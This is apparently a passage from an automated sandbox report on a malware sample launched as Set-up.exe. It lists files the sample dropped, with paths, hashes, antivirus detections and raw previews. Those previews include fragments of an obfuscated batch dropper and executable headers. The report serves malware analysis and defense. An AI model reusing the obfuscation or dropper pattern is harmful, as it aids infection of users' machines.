Preview:	.f5.$-..............7.W..>.fq..t....b..S.OT......{u......5Vr..'.(.X7KY....oV.......(.1.o&h....Y.g.l...&...#Nu.g...!......m..y.(......='..%.F......p..;..f.....Y./F.c..?..."BH......3.O.c...Q='..U....f..`.,........@.D#.....&\|]PT.Q.s...({..P.4.\..#..B...$S.I.>r...>Y.x....zG...C.h....Pj..d..V.....]...{...@`.<%+KD...K.3..?V7Y..l....T....u6TO/.....z.ax...F...2.......M8M...GK.b%.J.......t.m..%..@$...E..:I@`.......S..}o.$....Py...\|.....<..~Z..@+..mn../..-..J..H.....&O.6.p...2Y.w..AL..gCAC..p$.d.mom.s.uA..wf.?..m+..^.jE?L..8.?.......D.c..p....g..^.'......."G1.%...:..C.nm.Ia.~. ..$J..\).........w...!.e...).....D.-Fa.{.Y`.sp.Sp.....Ts...$...N.x..\.s/.f....N,....(F.whV..2&.e.H........\|J....c3.."P..........y6.s.T]\Ry......,Z.m..l..v.<g..[.b.I.L....a.8.3#[.....9y......./z......G..u.Sb..SA.li.8......S..!t.N3....N9.......4.$[&K.;e..._3.s...c@....;....J.}W..D..........l..:}..Xa..4{T...$...5N.J.o..6Y.{q..>..PE..IP...J......vV.4....U../../

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Jon

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	123904
Entropy (8bit):	6.3391071452602805
Encrypted:	false
SSDEEP:	3072:nZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laW2UDQWf8:nK5vPeDkjGgQaE/loUDtf8
MD5:	8340AA793C44278994245D0E1E22BED3
SHA1:	46AAE2345BE087AF081F84B12A45B7DD323194B4
SHA-256:	69D62F5B19C8C0559DFE5EE0E8D9C28251187C4970AF93E805E6E0680B5556BA
SHA-512:	8F55F581234F7884B6860913D4980334745A6A8B631396FB418001D14FEA4C84AE6527BBB481B7E67C173F22411D81A836F480B705F5576EBB906E2B3713C4DE
Malicious:	false
Preview:	....~._S.....Y.M......V..N.....F.^[]......U..QQ.}..........L)M....tv.}.........@)M.3.VW.}.B....U..0...E............}..t .M.......~L........E.j.P.FL......E....u..E ...u..~8...q....._^....3....FP..FT..U...u...(M..K...P.....j.j.j..u...x.I.]...U..Q.@)M.V.u.Wj.....8W.z...............d)M.j.Z.U.;........T)M.....0.........F.;G.u{............8......../.....................VW......~d...(....~h...0....~D...8....~P...@....>.t..6..<.I..&..u........d)M..U.B.U.;..._....u... .........$.........@)M........t.Q.=.....@)M..... ..5.)M..E.N.5.)M.;.L)M.u...L)M....D)M.........._..^u..5.)M.j.....I..%.)M....D)M...t..@)M..D...8.u..<)M...........U..E.VW.@......P......u..........>3._.F.....^]...U......`.D$.V.u.WP.D$.PV..............L$..@)M..T$..L$........T)M..L$.....8.\|$..............'........P............H..............a...WQ.P....7..<.I..t$...D.........d.........h.........P........D$.;F.t.P.....3.@_^..]....L$..N...3...U..V.u.;5t)M.........T)M........t.Q......T)M..... ...`)M...T)M.;5d)M.u....\|.....8.u.N

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Lender

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	43229
Entropy (8bit):	7.0881203329831175
Encrypted:	false
SSDEEP:	768:4Gmd9OTGQ1Dv7sMvLHfR/ZByLiFuO/ChgZ45VatJVEV3GPkjF:4GmdATGODv7xvTphAiPChgZ2kOE6
MD5:	2E2BD7823F992547CC126F7C518577CB
SHA1:	336884FE3C4FECB7E25986CF081AEF2621063BA5
SHA-256:	6BC170392D6E9B1869771304BF95A29BF79A4E9FBA8E649EFA3C130660140E2E
SHA-512:	35DF4344A247AEEB6ACAB8ABD33FEB8381FCC2E5ED93345978E88CAE9ED4F58FD44DEEB354DCC3CDC52EA0E5F5C80E633AACD48F6C548D6C7B34EF39519CE30E
Malicious:	false
Preview:	..............................................................................................7............................................(.........(....... ...................................z`..y_..M,..6...).......,...:...nnn.jb..ZF..F).._@..9...eee...............................................................................................................................................................................................................(.........(....... ...................................z`..y_..M,..6...).......,...:...nnn.jb..ZF..F).._@..9...eee..................\.......V....[..%........\..k............Wz......e.......kM........:....[.........P..\.......0..........................................?...?...........................................(.....................L.........._.....A.u.t.o.I.t. .I.n.p.u.t. .B.o.x.........M.S. .S.h.e.l.l. .D.l.g..............P......,.........P.r.o.m.p.t................P..8............................P..I.2...........O.K........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Lifetime

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	1919
Entropy (8bit):	4.897558548921966
Encrypted:	false
SSDEEP:	24:ayGS9PvCA433C+sCNC1skNkvQfhSHQU2L55e1yb/uBx39lt6DhBhhB4+JvU1SX6C:X9n9mTsCNvEQH5O5U1nPKrhBzM1FoMi
MD5:	AE568D06EBA40193FCA35D5AF1264538
SHA1:	DA9102016865CD88BFE3ED642438293655C133DE
SHA-256:	EE4F9382261BEE98C7F5C3511144985DD79856BF4745665FF59444A754623187
SHA-512:	C58055FA4EFE217A3FCD55F11D40BC8AC07A3CD9E587ECE49366154EEF44C43AA94F3D2B629690B0B7220AF3785D8D2D21F89C0F08F2BFBA40031FB41045B1E5
Malicious:	false
Preview:	Onto........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B............................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Manor

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	ASCII text, with very long lines (870), with CRLF line terminators
Category:	dropped
Size (bytes):	16784
Entropy (8bit):	5.087168789567387
Encrypted:	false
SSDEEP:	384:3UUQAGPyKGrZbQYDUr3ubqp+8MXqNpq77VOAFXGEkgXD0:30jPybZQSWyqCoU77cYFY
MD5:	D56C18404768483C2484A502B0DA5FC4
SHA1:	24F46C5CB1FFEFC7819429E299131B7CE6C69DBD
SHA-256:	B820146A0717C92007A6C5CDE0FBED169576E1E31D3BA5BB456ED04FF9F0E9D3
SHA-512:	ECD6ECE095EE49F4F068EC8E66EC89944B7DE266205093911DB49AE4A3F43A4FF14C724942D57DD5F2ABF120E755000F03A1664525A4745B5C410B892DF0C200
Malicious:	false
Preview:	Set Hungry=2..MERUnited-Receive-Sphere-Fleet-Proud-..SnBlvd-Judy-Marie-Cookbook-Pads-Nylon-Viewer-Witnesses-..crnTommy-Delivering-Heater-Air-Worn-..iwSeminar-Devil-Ff-Cuba-Off-Tragedy-Ss-..icUpdates-Victims-Pursue-Grammar-Vanilla-Worldsex-..RGgRugs-Az-..QFWEd-Skilled-Expenditures-Silver-F-Precipitation-Eg-..cZeiDisturbed-Performing-..BXBwAaron-..Set Inexpensive=T..teForget-Feof-Authorized-Appointed-Rider-..fgSuperb-Sublimedirectory-..IVIndividuals-Household-Marine-Msie-Flavor-Discovered-Railroad-Sustained-Special-..tDsCEdward-Rocks-Wisconsin-..EuFlood-..WSMali-Usgs-Controllers-Password-Authority-Acc-..LeLay-Pregnancy-Cross-Panties-Iowa-Dealers-Dice-..Set Dimensional=0..VRRecorded-Sectors-Guaranteed-Harvard-Abortion-..LwvJRaleigh-Terrorism-Token-Subtle-..WGLaden-Los-Identification-..xdConditional-Governance-..hyPets-..Set Clinic=w..qONotified-Hardwood-Craft-Johnson-Learning-..NwFAProceedings-Beth-Reasoning-Accomplish-Myth-Soonest-Ridge-..zkTACompatibility-Carefully-Size-Hungarian-Backed

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Manor.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (870), with CRLF line terminators
Category:	dropped
Size (bytes):	16784
Entropy (8bit):	5.087168789567387
Encrypted:	false
SSDEEP:	384:3UUQAGPyKGrZbQYDUr3ubqp+8MXqNpq77VOAFXGEkgXD0:30jPybZQSWyqCoU77cYFY
MD5:	D56C18404768483C2484A502B0DA5FC4
SHA1:	24F46C5CB1FFEFC7819429E299131B7CE6C69DBD
SHA-256:	B820146A0717C92007A6C5CDE0FBED169576E1E31D3BA5BB456ED04FF9F0E9D3
SHA-512:	ECD6ECE095EE49F4F068EC8E66EC89944B7DE266205093911DB49AE4A3F43A4FF14C724942D57DD5F2ABF120E755000F03A1664525A4745B5C410B892DF0C200
Malicious:	false
Preview:	Set Hungry=2..MERUnited-Receive-Sphere-Fleet-Proud-..SnBlvd-Judy-Marie-Cookbook-Pads-Nylon-Viewer-Witnesses-..crnTommy-Delivering-Heater-Air-Worn-..iwSeminar-Devil-Ff-Cuba-Off-Tragedy-Ss-..icUpdates-Victims-Pursue-Grammar-Vanilla-Worldsex-..RGgRugs-Az-..QFWEd-Skilled-Expenditures-Silver-F-Precipitation-Eg-..cZeiDisturbed-Performing-..BXBwAaron-..Set Inexpensive=T..teForget-Feof-Authorized-Appointed-Rider-..fgSuperb-Sublimedirectory-..IVIndividuals-Household-Marine-Msie-Flavor-Discovered-Railroad-Sustained-Special-..tDsCEdward-Rocks-Wisconsin-..EuFlood-..WSMali-Usgs-Controllers-Password-Authority-Acc-..LeLay-Pregnancy-Cross-Panties-Iowa-Dealers-Dice-..Set Dimensional=0..VRRecorded-Sectors-Guaranteed-Harvard-Abortion-..LwvJRaleigh-Terrorism-Token-Subtle-..WGLaden-Los-Identification-..xdConditional-Governance-..hyPets-..Set Clinic=w..qONotified-Hardwood-Craft-Johnson-Learning-..NwFAProceedings-Beth-Reasoning-Accomplish-Myth-Soonest-Ridge-..zkTACompatibility-Carefully-Size-Hungarian-Backed

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Names

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	32372
Entropy (8bit):	7.99439310262217
Encrypted:	true
SSDEEP:	384:39VGfDmlRJEIvR5siyFfvf+pph9rN1Y26B9CtAyVT+K2ssqRmYlIXsGlAN4nPIB8:3fXlRJC1GpphFN2XBQtTlCq4cGVkqLRN
MD5:	57B6A485627BAECFA5DCFB502302F5A1
SHA1:	0F36B91D007DF089CF64F3CE2B3AC415240E6255
SHA-256:	B136E3405BFFB3F933D9D0D2E58D60D7C0F3C9C524ED7BC35AB5E062E507113D
SHA-512:	14BE628BC143DBF96166D6FFEC1445CE2E403D0504192490F372545FA8315F9B1CDF57AA914FB0B8615CDD2E8D8128D2BB9C0AA0D5CA59F9507B6BCB559D7B8B
Malicious:	false
Preview:	.!.C9..S......i4~C....`..2..>kA...W.zL/..z.m..DR.^"....?....rd\._..4uhK....O..P./.....N.......e..t..<.... ..@...^.p.<.\|6..s....tX.......u.d.t..m:....o..L..r....V$J9`.......;..B...._.eXd...8Nj..'M..~..8.[..o...3.ti...4.......O..!.W.......[H.O..2.7..@1..K.....R...=.=X=..C-.h.....9bSI;<zO..'(...r....I.[\.t....dq*..k%G.ze.9P.)...dI....@.....K.:..,P..#Hv..?.=m..t.@....T..a.b.-.@.h+.2~....a.@...w....d.].w..7.b/Y.l..>H....9...p}.....Z4.h.......n.96.O..K..v.w2..5h.[......EqCw.~W.MA....;.....J.....4...V.Y..K..B.d..&(........!,MK.3.?E......egAm..0T..d.)...5Z...>....9..y..P.g.<.a.n.....+b..2....J..<.x~x..Y...-eJ... .....Xf........i..e}....1\..5..(.h6qF.7....k.B...-...[.K..u....f..'..n...R..t\.d}.{...b..(i..A..R..3..#...U....../..cl2t..)Rg:....1.u.M"..O`Gg.../L.p.Y5J_+.6.>.`...L...R.420W..RbC.f...h.#&.!].8....\.[i..............=..Z.U.Y.S.}:=../!.......VU.......[..2..0.z.........>N.}z.....[N6G;.D7.F..:...Q...m.g........O...5H..."5WICV7.X.uhML4+

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Relations

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	Microsoft Cabinet archive data, 488634 bytes, 12 files, at 0x2c +A "Career" +A "Getting", ID 8209, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	488634
Entropy (8bit):	7.9982608570173666
Encrypted:	true
SSDEEP:	6144:gyjKlH2Y7J7aCk9fv3vEzDGGsuMNml9tL1rhP0g326ZbA5HA8RbEbvSHbcdxwDBk:OHvNqv8Dxsu0ml9Dqm0hA8hcWH13sSO3
MD5:	5E0DE4F2FD4D38EE81A15AC14CE2C969
SHA1:	13EE0492EE7045CA06D5D9DEF2CFAB5C07452E58
SHA-256:	7A2A356B7F46E4F37999DD9CE3ECFA7A66CE7DDA4FB5A61CFB7DC840489B7FC4
SHA-512:	7C48605F945ED6715C490A8FA17EE906B1E26907862B0E9FC1CBFDBBB19D924367B7AF6F3BF5806FA81ED9C84C62E980584CD626582E7BED5939BFDF0F9801C7
Malicious:	false
Preview:	MSCF.....t......,................ ..H........P........$Z.. .Career......P....$Z.. .Getting...........$Z.. .Lifetime......#....$Z.. .Build..8........$Z.. .Suggestion...........$Z.. .Jon..........$Z.. .Lender.....\.....$Z.. .Biz..x..\.....$Z.. .Crossword.....\.....$Z.. .Betting.....\.....$Z.. .Generation.....\.....$Z.. .Diving....8.I..CK...\|..8>.'.l..... J.h@#...H.l@Jlb.nRH.>..U.R..k.$N.f3....>k.mm.Omi..V..B. .$ $.`@.L..O.M...9..n6........=..=..{..l......8.frzV<A...u.fH;V.8...L...6R.#.....f..."..L.li.E.." ..r.Tm..h"...>.......MF.....N1t!.j..+9!.....U.V-".,.V..Hr>I.$..uDKf.K.....$...H2......9d.FA..y..2..[.H..(1vY4I[WqB...2..`N.......9!eqZ..%KO.91..$..q.2.`U..'@.. .A..jj...99....HaU0...F..v......\:.3.s..!oB.I.\|.....lD^..n.hp(.n@..d2....'..k......-.O...&....d..kO,.........c.(!..hdG.q..2...\|=..8A.Y.$...U.5....Z..=..Z._4....:.C..H..1S.(.t.(..ED..R2f.P...Y..$q.\hz9.{..-....r.d..._..k...z1Z..x.. Z.\..<..Sr.45..Y.I.iRKZ....'.{v.D..tDz..XN{{.fJ.C(Ej.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Sluts

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	79872
Entropy (8bit):	7.997754469474859
Encrypted:	true
SSDEEP:	1536:C+TmDoM5U9owC1BmWGhBkJ1tfL4WYLMiK+PmumIDXb0obAQRfD1JyQ:CvomUQ1YTBkJ1F8WZd+PmuNukJD
MD5:	28D8ADD8D0A4C5DF5C6A4B44DDE54D38
SHA1:	D6686F5086E126744AD9754749AFCBD0B0EB6C33
SHA-256:	5F7F9CF7166F9332D99893BDF51FF2E89EB882859ED4A61431753629DB9219E7
SHA-512:	99C45BB1611D0472095ACB01EF8668C03C84239EE6E187A6E775031B02D2B634A160B3B0413082A34F67513A1D557659F1B5140982EF9FDB745621932E8E81C4
Malicious:	false
Preview:	..M}F]...... U-..6pc.}...)...G....9Y..m..\..[K'x.5.......-.8........nV...F.23.X-...F.DY...z.0..C!.B.O..C.J.Y.3+).. .Kld=.D....}.P........"...]nB..iF..B.X.p..7...i...c....Q.p\|b. ..n..`5i.\|.#D.;...P.-vj.'.P.9).'....S..KX..J..+\|Uw.B..z...\|...F.\|.U.....I......R......e.?l...H.........Aa%.!..4.YcLDw..z......O.k..^x.eI.}f#..S..rF...A.3.nZ..!{2..i...%..O....9[..f=....x..f..2..k...a..I....$.5s..eX.>eC.R....sn1.3..8<..?.V.....F...$.Q..-h..8.X.._...+.z..I.#...C@9\|.A... ......4GB...x..HS........8.=.h.(s{?.3......P...w,....<)yq^.&..TU...=......\.>:_..3\|.$5...{ ..B..7...=..ed....-..H::.s.p....'..f.n..&.#..t@&H.4.8......L.....FC.v}.i,.Q..R....a_.c...h.B............. nfA......b.........T....&._].&]2DG.{..A.8..&.`..".q}XE..x;............\.Mc.7.E.G0..m:..]T2.E+\|.t....b..J.V.J....o......}..h.3.'I;.v..Q.....]..U9.;.......8(I1...a.....`,.3.`....w.pN.3.J...w8).05(..ni...E.L...Yb....!.p?...KP...d5...:...rY..'}...:..].W...0k.[_0..\.z.9HbN.P...].J@D..).E...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Suggestion

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	79872
Entropy (8bit):	6.663826916351182
Encrypted:	false
SSDEEP:	1536:RzGc/xv5mjKu2IwNnPEBiqXv+G/UXT6TvY464qvI932eOypvcm:l5mjccBiqXvpgF4qv+32eOyKm
MD5:	8962D624F9206BC21E436E50875BAA4F
SHA1:	EBBD36C8E978ED1657533721B9B343B9C46B7425
SHA-256:	59393AF256C1C55406511C5885B1523681FB035188C6CFCBEA4FD84C3747FA67
SHA-512:	05D0EE9074E680D169F6326095EEB70F59B1B27E4FCF0E8197F782D57904B1AF18C63D5E485531F8FDF14CE3DD58C0601C333081612514254E81F1EF913FE759
Malicious:	false
Preview:	8........L$(......$....j.S.D$@P.\$..D$.... K..d$L.V.\|$T.\$H.......L$8......$....WS.D$PP.\$..D$.... K..d$\.V.\|$d.\$X.h.......L$H.....$....j.S.D$`P.\$..D$.... K..d$l.V.\|$t.\$h.,.......L$X.`....$.....\$..D$.... K..D$h.d$p.j.SPV.\$x..$............L$h.!....$....j.S..$....P.\$..D$.... K...$.....V..$.....$...........L$x....._^3.[..]...U..VW.u......05M....4.04M.........j .N...Y.....l.....05M..4.04M..~.;u.t..u........E..F..E..F..E..F..05M.j@@Y..._..05M.^]...U..VW.}...G....)...............I........G........j......................_3.^]......3M...u!.5.3M...3M.......5.3M...3M.......V.Y...U..QQSW....3.E.QQ.x.QQGW.0QQ....I..E...t7VP.v...Y3...E.QQ.u.VW.0QQ....I.HPQV.......V.U...Y^_[....N.....U..VW.}....t>...t9.}..t3.N............W...&...W.u..~..6.............._^]...QQ.u.....U..VW.}...G.9F.s$..t&.......6.F.......v.....Y..Y..8._^]...j.X..V3.VQ..8.I...........^..#M...t.P..<.I...$M.......$M.......#M......V..W.>..t....n...j.W.....YYj.V.....YY_..^...3...3M...3M...3M...3M...3M...3

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Teen

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	7.997329723476367
Encrypted:	true
SSDEEP:	1536:Cecvw7uv+AsvGBtrno7f/CEmUlV/TO3UpBVl:Ceyw7BvqtrnEf/zmUrAG
MD5:	8A5C1741055D26716C478719663D3B8F
SHA1:	1C1E3FE682D8DC8D39F4F8CB2D22BD587929E9EF
SHA-256:	44B69842D307C29252BF633B5620763CF03A86802F290B16FC170A0F58072BA0
SHA-512:	5ABC98509A21BAAAEEA94BA6A6CDEF963E59B7159E3C88C66A0E3E160FBB2F327D1CD89664691DB4E4F135BB63B02047C6F503B59BFE4717740A04FDB50B76FB
Malicious:	false
Preview:	......bF....\.l...M....U.B...@....2.aJ.......Y..[.` .V.d.R+...Z...(2.:y......4B.....E..6..?.....\|x..1..!...s.9P..jt.SLp.U.e..j....P..Y...u......}.....t/.A.?p.'..j.......F..:n.uYl.mbf ...P:/Mj.z.....H.O..LjY.Y.0...r. ......\..%.9#%...7Grl...:.c.7.\|XN....g...z.....n...1.........@....^{.).e.t!).-9k9.T.K.C.H.lv..}9..B...f....#t.....5r...3.iP.....S.F...~.......E.NtcMR.....{8..+..d.b:.`......iq.......CD....q.oZ..JQ.oFmp'.....R.Z.c..\|...P.%AUP..&G.CW.Y_.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....3.8.'.F...h..............^...Z.D.^...Z.DkC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r....T..,P..Myn.2..t.W.....5..c...?$Z..^.....D.^...Z.Dm.....>f.q8.5...x..2).U.j....>..#.~....

C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe

Download File

Process:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8856972
Entropy (8bit):	7.960537715482043
Encrypted:	false
SSDEEP:	196608:uMonEZW6LN5TiMukr1UfDokfbn0kQv7croDi:uMoEFLT9xr+fPnbc7c
MD5:	C89C55FE25372BFBF8B9264A647C144B
SHA1:	77D03F9F9FAFAFC4D2B57428C18BFD093563682F
SHA-256:	C46D6103201008B96B237E10F2C6CA6874E6C0BEB507FE21F497578127AE8857
SHA-512:	D60535F3A12CECA7D5339513EE087DB46B2E3A6FF35D1939A7D5518CD6F4B407D7F1065F63B2AB10D21B9C0893F6F979B0AF85A0C40A5B02E9054874FDF4E044
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 51%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@.......................................@......@...................p..q....P......................4..XG...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\f83c7ffb

Download File

Process:	C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe
File Type:	PNG image data, 4224 x 1945, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	6529034
Entropy (8bit):	7.998110907699163
Encrypted:	true
SSDEEP:	196608:aU36HXf37kuxSPNTPnI0rq2Szy9HlXGWYVkyjt:gHXf37D0Zq8HlXGWYVkyjt
MD5:	2F4D508A154A5A27F886AA2AB5321348
SHA1:	33520EAD7583D585C6FA7E62143F5FE405BF50AD
SHA-256:	70F3F8AC0761752733B13851CC45765D6E0EF53A330FC15B8E108B760F60C467
SHA-512:	0F1E892729058597578961097DE70B9888782B02689C98F16606FD383DCEC51F9DC6EB7F1D26D76914882CE3B7867052766EBF3AA2943A0C2E85D1440A748D0E
Malicious:	false
Preview:	.PNG........IHDR..............._... .IDATx..;..G....+.U.{.. .....H.$..gm.i..;.+b...d.\.j.l..6..r..b.+..].\|.5....?".......3x....j._..=.?....W........pu..~..w..1..Z....n......8..A.4...#u].K.4MC.%....p..g....a..h...!...?.97w'/XJ..@CUU.R.#UU..K).R..RJ.{Y..K.u......]J..^..y.!.....R...,........b.I%.@7.&wW.1.]..\p\....2..u.......?..........{..@.48.<;4.w~.\|.5....g....)....O.....`.....i].w..3..q...W....I........l.bh..r....+y...&..-..!.....a/.p...!.m..\.2../.I>c....R.3p...H.g_.#.f..;..s.M&..(...._..o..;...RJ)\|......,..._p].....".........b.I..t.4u5\F.9.9..s....,._.....'.^.A...n...u...#..C........k..G..x)...!...(..c8..u. .g\.&.....d...?&..N....../GI>......rw.m1<$..}w..c..,l..n1.s...o..8... ..q..^...\'.....~.16 .....o..xY.%..M..cx``.\|..#5'..\|.%.Y..%.e.M......./.d.Ob.RI\..,..,_)<%....c8X...s....;...Lk]m;H.......8.~-vA.\|....{..&^.......}H...0N..`.....N.'..t{\=$.............o.....@Q..A.$..K5.!...$g..a.-F...K-$;K.. .ij....`....~...5\|`.o..

C:\Users\user\AppData\Local\Temp\is-7UB31.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-7UB31.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-CDVKE.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
